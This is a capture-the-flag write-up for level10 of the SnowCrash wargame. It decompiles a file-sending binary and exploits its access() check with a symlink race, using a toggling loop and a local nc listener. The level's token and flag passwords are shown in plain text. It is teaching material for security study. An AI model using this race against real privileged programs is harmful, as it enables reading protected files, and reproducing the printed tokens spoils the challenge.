level10

In the level10 home directory we found an executable named *"level10"* and a file labeled *"token"*.
Below is the decompiled code from *Ghidra*:

```
int main(int argc, char **argv)
{
    char *file = argv[1];
    char *host = argv[2];

    int access_result = access(file, R_OK);
    if (access_result == 0)
    {
        printf("Connecting to %s:6969 .. ", host);
        fflush(stdout);

        int socket_fd = socket(AF_INET, SOCK_STREAM, 0);

        struct sockaddr_in server_address = { .sin_family = AF_INET, .sin_port = htons(6969), .sin_
addr.s_addr = inet_addr(host)};

        int connect_result = connect(socket_fd, (struct sockaddr *)&server_address, sizeof(server_
address));
        if (connect_result == -1)
        {
            printf("Unable to connect to host %s\n", host);
            exit(1);
        }

        ssize_t write_result = write(socket_fd, ".*( )*.\n", 8);
        if (write_result == -1)
        {
            printf("Unable to write banner to host %s\n", host);
            exit(1);
        }

        printf("Connected!\nSending file .. ");
        fflush(stdout);

        int file_fd = open(file, O_RDONLY);
        if (file_fd == -1)
        {
            puts("Damn. Unable to open file");
            exit(1);
        }

        char buffer[4096];
        ssize_t read_result;
        while ((read_result = read(file_fd, buffer, sizeof(buffer))) > 0)
        {
            write(socket_fd, buffer, read_result);
        }

        close(file_fd);
        close(socket_fd);
        printf("wrote file!\n");
    }
    else
    {
        printf("You don't have access to %s\n", file);
    }

    return 0;
}
```

level10²

Key points about the program:

- The program requires two arguments: a file and a hostname.
- It checks if the given file is readable by the current user.
- The content of the file is then sent to port 6969.
- The program subsequently reads the file and writes its content to the same port.

The access() function in the program, as it stands, is not directly exploitable. However, if we can bypass this check, we would gain access to the token file.

There's an exploitation technique known as "Bait & Switch," which leverages symbolic links. Essentially, it involves redirecting the endpoint of a symbolic link while the program is running.

By rapidly toggling between two files—one that we have permission to access and the other being the desired token—we can potentially deceive the program.

In the first terminal, we launch the exploit:

```
level10@SnowCrash:~$ cat /tmp/exploit.sh
while :; do
ln -sf /tmp/miao /tmp/link
ln -sf ~/token /tmp/link
done
level10@SnowCrash:~$ bash /tmp/exploit.sh
```

The second one, we listen on port 6969:

```
level10@SnowCrash:~$ cat /tmp/nc.sh
while :; do
nc -l 127.0.0.1 6969
done

level10@SnowCrash:~$ bash /tmp/nc.sh
```

And finally in the last terminal, launch multiple times the executable *"level10"*:

```
level10@SnowCrash:~$ while true; do ./level10 /tmp/link 127.0.0.1; done
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.

level10@SnowCrash:~$ su flag10
Password: woupa2yuojeeaaed06riuj63c
Don't forget to launch getflag !

flag10@SnowCrash:~$ getflag
Check flag.Here is your token : feulo4b72j7edeahuete3no7c

flag10@SnowCrash:~$ su level11
Password: feulo4b72j7edeahuete3no7c

level11@SnowCrash:~$
```